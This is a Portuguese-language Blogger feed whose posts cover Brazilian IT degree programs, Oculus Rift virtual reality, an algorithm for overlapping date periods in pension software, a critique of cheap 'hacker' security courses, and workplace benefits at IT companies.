Neste curso, geralmente durando 5 anos, o aluno aprende a desenvolver tanto software (parte lógica/sistema) quanto hardware (parte física/eletrônica) de um computador. O curso mistura aspectos de <u>engenharia, eletrônica e computação</u> para tornar seus estudantes aptos a criarem computadores. Não se embasa tanto na parte de software quanto no curso de Ciências da Computação, em contraponto, ensina eletrônica, criação de placas e de dispositivos periféricos e desenvolvimento de sistemas embarcados.</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Sistemas de Informação</h3>
<div>
<br /></div>
<div>
Durando em média 4 anos, este curso ensina a criar, implantar, realizar manutenção em sistemas de informações, através de programação, programação web, banco de dados etc. Além desses citados, o curso <u>foca mais na área de negócios, administrativa, empresarial e corporativista</u>, em comparação a Ciências da Computação que é mais na área científica. É provável que também haja na grade curricular matérias de modelagem e análise de software, e-commerce, desenvolvimento web, fundamentos da administração etc.</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Engenharia de Software</h3>
<div>
<br /></div>
<div>
Variando de 4 à 5 anos, o curso foca quase que exclusivamente em todas as fases do desenvolvimento de um software, seja ele simples ou complexo. O aluno tem <u>muitas matérias de programação</u> (dependendo da universidade, aprende todos os paradigmas mais conhecidos), <u>análise, modelagem, gestão do software, gestão de equipes de desenvolvimento, aprende os padrões de design e arquitetura</u> e tudo que vá manter o software desde seu nascimento, manutenção, aprimoramento, implantação e treinamento. É <b>pouco provável</b> que o aluno terá conhecimento de redes, sistemas embarcados, distribuídos, segurança da informação nem mesmo aprofundado em banco de dados... O foco é mesmo voltado a"software".</div>
<div>
<br /></div>
<h2 style="text-align: left;">
Licenciatura (3 - 4 anos):</h2>
<div>
<br /></div>
<div>
Esses cursos são destinados a tornar o aluno em um professor na área em que estuda. Assim como existe licenciatura em matemática, física, geografia, etc, também existe para a área de TIC.</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Licenciatura em Informática</h3>
<div>
<br /></div>
<div>
Curso que dura entre 3,5 à 4 anos, forma um profissional apto a <u>lecionar informática</u> nas escolas e cursos. O profissional adquire a prática do ensino, focando também em <u>ensinar programação e algoritmos</u> (em boa parte das instituições que ministram o curso), além de ensinar as pessoas a terem os <u>primeiros contatos com TIC</u> . O professor de informática pode dar aulas em escolas públicas e privadas no ensino básico e médio, em cursos técnicos e profissionalizantes.</div>
<div>
<br /></div>
<h2 style="text-align: left;">
Graduação Tecnológica (2 - 3,5 anos de duração):</h2>
<div>
<br /></div>
<div>
Esses cursos são especificamente focados em alguma área e tem como ideia, formar um profissional não com um conhecimento tão amplo, mas mais focado naquele assunto em que estuda, aprofundando-se naquela área. Logicamente, ser tecnólogo não faz da pessoa menos capaz que um bacharel, apenas possui um conhecimento acadêmico mais reduzido e focado naquilo que se estuda.</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Análise e Desenvolvimento de Sistemas</h3>
<div>
<br /></div>
<div>
Durando entre 2-3 anos, o curso é <u>exclusivamente focado em analisar e desenvolver sistemas</u>. O aluno terá matérias de <u>programação</u> para pelo menos 2 plataformas (geralmente desktop e web), análise de requisitos, qualidade de software, processos e etc, geralmente inclui uma matéria de banco de dados, uma de redes de computadores, uma na área de sistemas de informação também. Muitas universidades reduzem bastante um curso de Sistemas de Informação ou de Ciências da Computação, e adicionam umas matérias a mais para poder criar esse curso. </div>
<div>
<br /></div>
<h3 style="text-align: left;">
Redes de Computadores </h3>
<div>
<br /></div>
<div>
Esse curso forma um profissional apto a <u>criar, configurar, implantar e manter redes de computadores em funcionamento</u>, seus serviços, acessos, segurança, etc, de todo porte, fazendo com que o profissional estude desde a parte física (cabeamento, dispositivos, roteadores, etc) até a lógica (configurar Windows, Linux e seus linguagens de script, por exemplo). Para isso o profissional aprende a manter servidores e provedores de acesso e configurar todo tipo de rede através de seus padrões e normas. </div>
<div>
<br /></div>
<h3>
Gestão de TI</h3>
<div>
<br /></div>
<div>
O curso de Gestão de Tecnologia da Informação (2-3 anos) forma um profissional apto a <u>gerenciar equipes, projetos, setores e empresas de TI</u>. No curso é comum ver matérias de administração, governança de TI, gestão de serviços, projetos, pessoas, conflitos e etc, além de ministrar matérias básicas sobre redes, algoritmos (às vezes) e comércio eletrônico. Boa parte das matérias desse curso estão dentro de Sistemas de Informação.</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Sistemas para Internet</h3>
<div>
<br /></div>
<div>
Com duração entre 2 à 3 anos, o tecnólogo em Sistemas para Internet é o profissional que vai ter como foco principal o <u>desenvolvimento web, tanto de sistemas como sites</u>. O aluno que estudar nesse curso terá matérias de escrita de linguagens da web (HTML, CSS e JavaScript), além de conhecer linguagens server-side como Java ou PHP, e aprenderá também um pouco de elementos do design e principalmente webdesign para aplicar nas páginas, geralmente possui também umas matérias de modelagem, requisitos, análise, e e-commerce.<br />
<br /></div>
<h2 style="text-align: left;">
Cursos mais raros <u>intimamente</u> ligados à TIC</h2>
<div>
<br /></div>
<div>
- Cursos geralmente mais incomuns de encontrar porém existentes em vários lugares do Brasil<br />
<br /></div>
<h4 style="text-align: left;">
Bacharelados:</h4>
<div>
<br /></div>
<div>
<ul style="text-align: left;">
<li>T.I.C./Informática - 4 anos (*olhando algumas grades curriculares, há muita semelhança com o curso de Sistemas de Informação) </li>
<li>Análise de Sistemas (4 - 5 anos)</li>
<li>Engenharia de Redes de Comunicação (4 - 5 anos)</li>
<li>Engenharia de Telecomunicações (5 anos)</li>
<li>Matemática Científica Computacional (4 anos)</li>
</ul>
<div>
<br /></div>
<h4 style="text-align: left;">
Tecnológicos (2 - 3 anos):</h4>
</div>
<div>
<ul style="text-align: left;">
<li>Banco de Dados </li>
<li>Processamento de Dados </li>
<li>Segurança da Informação</li>
</ul>
<div>
<br /></div>
<h3 style="text-align: left;">
Outros cursos superiores que envolvem TIC diretamente:</h3>
</div>
<div>
<br /></div>
<div>
<ul style="text-align: left;">
<li>Bacharelado em Engenharias em geral (5 anos)</li>
<li>Bacharelado em Administração de Sistemas (Admin. com foco em SINF) (4 anos)</li>
<li>Tecnologia em Design Gráfico (2-3 anos)</li>
<li>Tecnologia em Design e Entretenimento em Jogos Digitais (2-3 anos)</li>
<li>Tecnologia em Jogos Digitais (2-3 anos)</li>
<li>Tecnologia em Sistemas Multimídia (2-3 anos)</li>
<li>Tecnologia em Infografia (2-3 anos)</li>
</ul>
<div>
<br />
Uma dica pessoal: se depois de ler tudo e ainda tiver dúvidas, NÃO SOUBER o que fazer e puder pagar por um bacharelado, faça Sistemas de Informação. Ou, caso queira economizar e fazer um curso tecnológico, que é mais rápido, faça Gestão de TI ou Análise e Desenvolvimento de Sistemas.<br />
<br />
<b>NOTA</b>: <i>Para criação deste post, foi pesquisado em grades curriculares de várias instituições de ensino superior, como UFSC, Udesc, Uninter, Furb, Uniasselvi-ead, Estácio de Sá, USP, UFPR, UFRGS, Unisul, Univali, Fatec's, Unicesumar, entre outras, que por sua vez, disponibilizam em seus sites as grades curriculares.</i><br />
<i><br /></i></div>
</div>
<div>
Bom, o post é um pouco cansativo para ler inteiro, mas espero ter esclarecido as dúvidas daqueles que tinham, qualquer opinião e comentário é bem vindo, então <b>comentem aí em baixo</b> o que vocês acham e o curso que fazem/pretendem fazer! Obrigado a todos!!!</div>
<div>
<br /></div>
</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-3370927311087374382.post-9394099248624142242016-06-14T10:49:00.000-03:002016-06-14T17:15:55.214-03:00Realidade Virtual com Oculus Rift<span style="font-family: "arial"; line-height: 1.38; white-space: pre-wrap;">Recentemente pesquisando sobre <i>Virtual Reality</i> com Oculus Rift, para fazer um paper da faculdade, construí um dos itens</span><span style="font-family: "arial"; line-height: 1.38; white-space: pre-wrap;"> do paper que vale à pena compartilhar aqui. Fica abaixo minha pesquisa.</span><br />
<span style="font-family: "arial"; line-height: 1.38; white-space: pre-wrap;"><br /></span>
<span style="font-family: "arial"; line-height: 1.38; white-space: pre-wrap;">O Aparelho é um dispositivo em forma de óculos que projeta imagens nos olhos dos usuários, imergindo-os em um ambiente tridimensional, como se estivessem “dentro do jogo”, prometendo revolucionar o conceito de jogos eletrônicos e de simulações.</span><br />
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ainda é necessário um computador potente, acompanhado do óculos para ter uma experiência agradável. (BARROS, 2016)</span></div>
<a name='more'></a><b id="docs-internal-guid-98e4c1ba-4f28-dcd0-216b-4681ea674db2" style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Segundo jornalistas, o Oculus Rift é confortável, fácil de instalar e proporciona uma experiência única. Para Peter Rubin, da famosa revista de tecnologia “Wired”, é o primeiro passo real em direção ao futuro. (G1, 2016)</span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Em 2014, o Facebook Comprou a empresa do Oculus por 2 bilhões de dólares. O preço do Oculus Rift custa atualmente 600 dólares (excluindo impostos) no site oficial da empresa. Nos dias atuais está sendo também aplicado em outras áreas, como treinamento de astronautas pela Nasa, usado em conjunto com o Kinect, e também no ramo da logística, em locais que trabalham com depósitos grandes e a pesquisa dos produtos aumenta consideravelmente. </span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(MAGUS, 2014)</span></div>
<br />
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">John Carmack, CTO (chefe de tecnologia) da Oculus, cita que existe a possibilidade futura do aparelho usar Android, como nos smartfones de hoje, não necessitando mais de um computador para funcionar. Um dos desafios é reproduzir resoluções 4K, e evitar náuseas, o que se mostrou sempre um empecilho no uso. (PERSICHETO, 2013)</span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Referências</span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">BARROS, Thiago. </span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Tudo sobre o Oculus Rift: preço, como comprar no Brasil e mais detalhes</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, 2016. Disponível em: <http://www.techtudo.com.br/listas/noticia/2016/02/tudo-sobre-o-oculus-rift-preco-como-comprar-no-brasil-e-mais-detalhes.html/>. Acesso em: 13 de jun. 2016.</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b id="docs-internal-guid-98e4c1ba-4f2a-487f-645c-434f0f394d08" style="font-weight: normal;"><br /></b></span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">G1. </span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Oculus Rift 'é 1º passo em direção ao futuro'</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, 2016. Disponível em: <http://g1.globo.com/tecnologia/games/noticia/2016/03/oculus-rift-e-1-passo-em-direcao-ao-futuro-leia-analises-internacionais.html/>. Acesso em: 13 de jun. 2016.</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><b style="font-weight: normal;"><br /></b></span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">MAGUS. </span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Oculus Rift: realidade virtual pode ser o futuro da logística</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, 2014. Disponível em: <http://www.magus.com.br/oculus-rift-realidade-virtual-pode-ser-o-futuro-da-logistica/>. Acesso em: 13 de jun. 2016.</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.3800000000000001; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">PERSICHETO, Renata. </span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Oculus Rift pode usar Android no futuro e ficar independente de computadores para funcionar</span><span style="background-color: transparent; color: black; font-family: "arial"; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, 2013. Disponível em: <https://tecnoblog.net/143335/oculus-rift-android-no-futuro-independente-de-computadores/>. Acesso em: 13 de jun. 2016.</span></div>
Lucas M. Dutrahttp://www.blogger.com/profile/05416498722373067975noreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-25246426112103571642016-04-21T04:18:00.001-03:002017-02-26T00:14:02.083-03:00Algoritmo de Concomitância de Períodos<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: left;">
<br />
<span style="font-family: inherit;">Procurando por algoritmos sobre concomit<span style="font-family: inherit;">â</span>ncia de períodos de datas, ou mesmo de concomitância numéric<span style="font-family: inherit;">a</span> na <span style="font-family: inherit;">internet, pouco achei sobre</span>. Portanto <span style="font-family: inherit;">acho que <span style="font-family: inherit;">serei</span></span> pioneiro na escr<span style="font-family: inherit;">ita sobre tal<span style="font-family: inherit;">, e espero que o post possa ajudar também àqueles que trabalham desen<span style="font-family: inherit;">v<span style="font-family: inherit;">olvendo <span style="font-family: inherit;">so<span style="font-family: inherit;">ftwares</span></span> previdenciários para c<span style="font-family: inherit;">a</span>lcu<span style="font-family: inherit;">l<span style="font-family: inherit;">ar<span style="font-family: inherit;"> o</span></span> tempo aproveitado de serviço para contribuição<span style="font-family: inherit;"> de </span>aposentadoria.</span></span></span></span></span></span></div>
<h4 style="text-align: left;">
</h4>
<h4 style="text-align: left;">
Introdução à concomitância de períodos numéricos</h4>
<h4 style="text-align: left;">
</h4>
Primeiramente, o que é concomitar?<br />
De acordo com o <a href="https://www.google.com.br/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjxmPfhj5_MAhVLhpAKHbITCq0QFgghMAA&url=http%3A%2F%2Fwww.dicionarioinformal.com.br%2Fconcomitar%2F&usg=AFQjCNEzuaKH8lNPVzMt-pwbcONFstACSg&bvm=bv.119745492,d.Y2I" target="_blank">Dicionário inFormal online</a> significa "V.T. Ação de produzir ou fazer várias coisas ao mesmo tempo, no mesmo momento.
". Entende-se por "período", dois números <var>x</var> e <var>y</var>, por exemplo (início e fim), capazes de gerar um conjunto numérico linear, criando então um vetor com elementos sequenciais de <i>x</i> até que chegue no <i>y</i>: {<i>x</i>, <i>x</i>+1, <i>x</i>+2, <i>x</i>+3, ... , <i>y</i>}.<br />
Exemplificando: Tome como base <i>x</i>=2, <i>y</i>=6, então o conjunto de <i>x</i> e <i>y</i> será: {2, 3, 4, 5, 6}. Vamos nomear esse conjunto de "<i>P</i>", para entender mais à frente.<br />
<br />
A concomitância de períodos nada mais é do que a intersecção de conjuntos numéricos, formando novos conjuntos a partir da intersecção que foi feita (se houver). Como o foco desse post visa auxiliar desenvolvedores de softwares previdenciários, a concomitância de períodos numéricos e de períodos de datas, nesse caso, funciona um pouco diferente, não sendo apenas fazer meras intersecções.<br />
<br />
<a name='more'></a><br />
<br />
<h4 style="text-align: left;">
Criando Períodos Concomitantes</h4>
<h4 style="text-align: left;">
</h4>
Um período "<i>P<sub>i</sub></i>" (onde <i>i</i> é a linha da tabela onde se encontra esse período) só concomitará com os períodos que <u>vierem antes dele</u>, inclusive com as datas mais antigas! Portanto se estiver trabalhando com um período onde a linha é <i>i</i>=3, então ele só poderá buscar concomitantes nas linhas onde <i>i</i> seja 2, 1 e 0<br />
<br />
Temos então uma fórmula da Concomitância, onde <i><b>P </b></i>é o conjunto-período, <b><i>i</i></b> é a linha da tabela que está encontrado o período (como na computação os números começam a contar a partir do 0, logo, a primeira linha <i>i</i> será 0), e <b><i>n</i></b> é a quantidade de números <u>distintos</u>, gerados pela intersecção dos demais períodos anteriores.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://4.bp.blogspot.com/-vn_mIarMyhs/Vxhij3Xk6HI/AAAAAAAABmQ/2laHCT7QS64PeONLm4qh4q99coRZJyVXgCLcB/s1600/CodeCogsEqn%25281%2529.gif" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://4.bp.blogspot.com/-vn_mIarMyhs/Vxhij3Xk6HI/AAAAAAAABmQ/2laHCT7QS64PeONLm4qh4q99coRZJyVXgCLcB/s1600/CodeCogsEqn%25281%2529.gif" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: xx-small;">Necessita de revisão (?)</span></td></tr>
</tbody></table>
<span style="font-size: xx-small;"><br /></span>
Exemplificando mais, temos os seguintes <b><i>P</i></b>eríodos:<br />
<br />
<br />
<table border="1" cellpadding="4" style="border-collapse: collapse; width: 100%;">
<thead>
<tr>
<th><i>P<sub>i</sub></i></th>
<th>Início</th>
<th>Fim</th>
<th>Conjunto gerado</th>
<th>Concomitado</th>
<th>Qtd Ccmtd</th>
</tr>
</thead>
<tbody>
<tr>
<td><i>P<sub>0</sub></i></td>
<td>2</td>
<td>6</td>
<td>2,3,4,5,6</td>
<td>{}</td>
<td>0</td>
</tr>
<tr>
<td><i>P<sub>1</sub></i></td>
<td>3</td>
<td>5</td>
<td>3,4,5</td>
<td>{3,4,5}</td><td>3</td>
</tr>
<tr>
<td><i>P<sub>2</sub></i></td>
<td>3</td>
<td>8</td>
<td>3,4,5,6,7,8</td>
<td>{3,4,5,6}</td>
<td>4</td>
</tr>
<tr>
<td><i>P<sub>3</sub></i></td>
<td>2</td>
<td>10</td>
<td>2,3,4,5,6,7,8,9,10</td>
<td>{2,3,4,5,6,7,8}</td>
<td>7</td>
</tr>
<tr>
<td><i>P<sub>4</sub></i></td>
<td>12</td>
<td>15</td>
<td>12,13,14,15</td>
<td>{}</td>
<td>0</td>
</tr>
</tbody>
</table>
<br />
<br />
Notas sobre a regra de negócio:<br />
<ul style="text-align: left;">
<li>Pense no período concomitado como um "<i>array</i>";</li>
<li>Se os períodos estiverem desorganizados, como por exemplo o P0 tendo <b>Início</b> com 5 e a P1 inciar com 3, tratar de colocar o P1 antes do P0! Organizando assim os inícios dos períodos de forma <u><b>crescente</b></u>. Não esquecer de redefinir os períodos de P1 para P0 também.</li>
<li>Se por exemplo dois períodos iniciarem com o mesmo número, então não importa quem será o período antes de quem, não necessitando então de uma regra específica para validar isso;</li>
<li>Se não houver intersecção, então nada será concomitado, logo, a quantidade será 0;</li>
</ul>
Passo a passo para montar o algoritmo:<br />
<ol style="text-align: left;">
<li>Arrumar lista inserida pelo usuário com <u>Período Inicial crescente;</u></li>
<li>Usar 2 laços para calcular a concomitância: o primeiro com início em 0 e o término sendo igual a quantidade de linhas da tabela, e o segundo laço com início no ponteiro do primeiro laço e final em 0 (de cima para baixo);</li>
<li>O segundo laço deve ir buscando a intersecção do conjunto da linha onde está até que chegue à linha 0, agregando todos os números que conseguir na intersecção dentro de um vetor (array). <br />Se a linguagem de programação que for usada não houver funções de intersecção de arrays, então para ser feita essa etapa, provavelmente será necessária a verificação do período <i>P<sub>i </sub></i>com os períodos anteriores com estruturas de controle/fluxo (<i>if's</i>) e com laços dentro para criar a intersecção;</li>
<li>Quando o vetor estiver preenchido, fazer filtro dentro desse vetor para eliminar números repetidos, então você terá o <u><b>período concomitado</b></u> criado pelo segundo laço;</li>
<li>Contar a quantidade de números que tem dentro desse novo conjunto filtrado, e então esta será sua quantidade de números/dias concomitados, logo, tendo a quantidade total de números dentro período e a quantidade concomitada deste mesmo período, temos a/o quantidade/tempo aproveitado(a)! Basta realizar: <br /><br /><i>Tempo Aproveitado = Qtd de nums do período — Qtd nums. concomitados</i>.<br /> </li>
</ol>
Você pode conferir <a href="https://github.com/terremoth/concomit/blob/master/index.html" target="_blank">um pequeno software que fiz sobre o assunto, licenciado sob à GPL v3 aqui no GitHub</a> e ver como funciona. Note que, mesmo desorganizando a lista, o software organiza ela sozinho e depois calcula o tempo concomitante e aproveitado. <br />
<br />
(Post em expansão)<br />
<br /></div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-3370927311087374382.post-11319652647326785462015-12-30T12:00:00.003-02:002016-08-31T00:22:22.225-03:00Cursos com "hacker" no nome e a modinha dos cursos baratos<div dir="ltr" style="text-align: left;" trbidi="on">
Lendo umas críticas da <a href="http://bozosecurity.blogspot.com.br/2012/08/treinamentos-com-nome-hacker-omg.html" target="_blank">Bozo Security</a>, da <a href="http://unk-br.blogspot.com.br/2015/09/curso-hacker-e-moda-de-security-learning.html" target="_blank">unk-BR</a> e da <a href="http://blog.corujadeti.com.br/uma-analise-sobre-o-post-curso-hacker-e-a-moda-de-security-learning/" target="_blank">Coruja de TI</a>, juntamente a outras postagens como a do <a href="http://anchisesbr.blogspot.com.br/2013/01/seguranca-quero-fazer-um-curso-de-hacker.html" target="_blank">Anchises</a> e a <a href="http://blog.corujadeti.com.br/seguranca-quero-fazer-um-curso-de-hacker-meus-comentarios/" target="_blank">crítica do Gustavo Lima sobre</a>, decidi escrever uma crítica similar, relacionada aos cursos de segurança da informação que colocam "Hacker" no nome, e também aos cursos que custam menos de R$ 300,00 (descartáveis, que você pode aprender na internet de graça) e possuem instrutores poucos experientes, e até menores de idade! <br />
<br />
Presenciamos nesta década um aumento considerável de cursos de segurança da informação com relação à década passada. Cursos fuleiros, com professores mais desqualificados do que nunca ainda são vistos por toda a parte. Cursos como os da "Escola de Hacker" do Thompson, os do Alan Sanches (dito um ex-anonymous - ahn?), e do Fraga. por exemplo, rolam solto. Cursos são mal feitos e horríveis em questões de didática - principalmente na forma de ensinar. Já tive o desprazer de ver aulas deles quando baixadas em torrent distribuídas por aí, para ver se o curso era bom e valeria a pena fazer, vi reclamações no "Reclame Aqui", e escutei até reclamações vindas de profissionais que trabalham/trabalhavam comigo. Fica aí <u>minha opinião</u>.<br />
<br />
Por favor, se você está lendo esse <i>post</i>, e deseja fazer um curso na área de segurança da informação e não consegue nenhuma graduação e nem pós graduação relacionada, opte por escolher locais de treinamento adequados (eu havia descrito uma lista deles, porém achei melhor não fazer marketing nem para um nem para outro - que acabaria sendo).<br />
<br />
Ao escolher uma instituição para aprender, veja se os instrutores têm no mínimo uns 8 anos de <br />
<a name='more'></a>experiência com TI e segurança da informação. Sobretudo, não esqueça de focar em certificações como CEH, CHFI, CISSP, CISA, CompTIA Security+, CCNA Security e afins. Isso é muito importante para sua carreira profissional.<br />
<br />
Opinião: Não aceite cursos baratos, comece a desconfiar quando for um curso em uma <u>área grande e específica (tal qual a de Pentest, ou Forense)</u> e este for menos de 500 reais. Além de demonstrar muitas vezes a baixa capacidade de ensinar, mostra <u>diversas vezes</u> o desamparo financeiro que o instrutor se encontra, como foi o caso de um colega meu desqualificado querendo dar aulas de Infosec. Há uma vantagem também dos cursos serem caros: ao menos você não vai precisar tropeçar no meio do caminho com um <i>script kiddie </i>que não pensa em investir na carreira dele e que pensa unicamente em cometer crimes e fraudes. Afinal quase qualquer um pode pagar 250 reais num curso de segurança, certo?<br />
<br />
Como a postagem<i> </i>da Bozo Security já disse, veja bem quem vai ser seu instrutor, quantos alunos têm e já teve a instituição e quanto tempo durará o curso, e claro: o que você irá aprender!<br />
<br />
Espero que o quanto antes, (tomara que já no começo de 2016) comecem a ser extintos aos poucos esses cursos. O problema não está no ato de transmitir conhecimento e ensinar (como dito pelo Gustavo lima em outras palavras, "é necessário ser muito bom para ensinar") , e sim no ato de cobrar e ensinar coisas que podem ser facilmente aprendidas na internet de graça - e outra - muitas vezes ensinado coisas que tendenciam a pessoa a cometer crimes e fraudes, sem um consentimento anterior do que tais ensinamentos podem causar. Não quero que entenda que apenas os cursos extremamente detalhados ou os que tem um conhecimento que quase ninguém sabe é que devem ser cobrados, não! Quero dizer que para cobrar, é ético e ideal quando a pessoa que irá ensinar é muito boa nisso, quando o conteúdo é rico, bem explicado e que acima de tudo satisfaça e preencha as veredas do conhecimento do seu cliente. Afinal, bons <i>pentests</i>, análises forenses, análises de <i>malwares</i> são trabalhos minuciosos e que precisam muitas vezes de um conhecimento bem amplo, porém aprofundado naquilo que se detalha e observa, além do mais, não são trabalhos para qualquer um fazer, precisa gostar e MUITO dessas coisas, sem contar que é bem difícil achar bons profissionais na área - agora imagina achar um bom profissional e bom professor ao mesmo tempo!<br />
<br />
Por fim, espero que tenha entendido a mensagem de forma clara e objetiva e que isso foi uma crítica <u>direta</u>, qualquer coisa, poste sua dúvida, critique ou deixe seu comentário sobre.<br />
<br /></div>
Unknownnoreply@blogger.com23tag:blogger.com,1999:blog-3370927311087374382.post-82275167485743174042015-12-01T23:21:00.002-02:002016-10-27T20:53:59.384-02:00Itens e Benefícios que não podem faltar em uma Empresa de TI !<div dir="ltr" style="text-align: left;" trbidi="on">
Quero bater um papo com os empresários, gestores e sócios de empresas agora, e para os leitores que trabalham como funcionários, sintam-se a vontade para se situar melhor sobre benefícios, criticar e sugerir também. Pois bem, vamos lá.<br />
Em meio a necessidades de manter bons profissionais nas empresas, muitos gestores, empresários e sócios-proprietários vêm buscando melhores soluções para agradar seus funcionários em suas empresas de tecnologia.<br />
Veja uma lista do que <u>precisa</u> ter numa empresa TOP e do que é <u>agradável</u> ter:<br />
<br />
<br />
<a name='more'></a><br /><br />
<ol>
<li>Computadores bons. Não adianta dar para seu funcionário uma "carroça" para ele programar, mexer com documentos em nuvem, trabalhar com banco de dados e usar softwares da Adobe, Microsoft ou softwares como Eclipse, NetBeans, VMWare, com editores de texto aberto e navegador, não vai rolar...</li>
<li>Cadeiras decentes e confortáveis. Poderia ser até o primeiro da lista. Há uma necessidade muito grande em ficar sentado e manter-se confortável, com postura ergonômica, encostar os pés no chão e ficar ereto. Cadeiras mais estofadas e que não causam dor já começam a valer.</li>
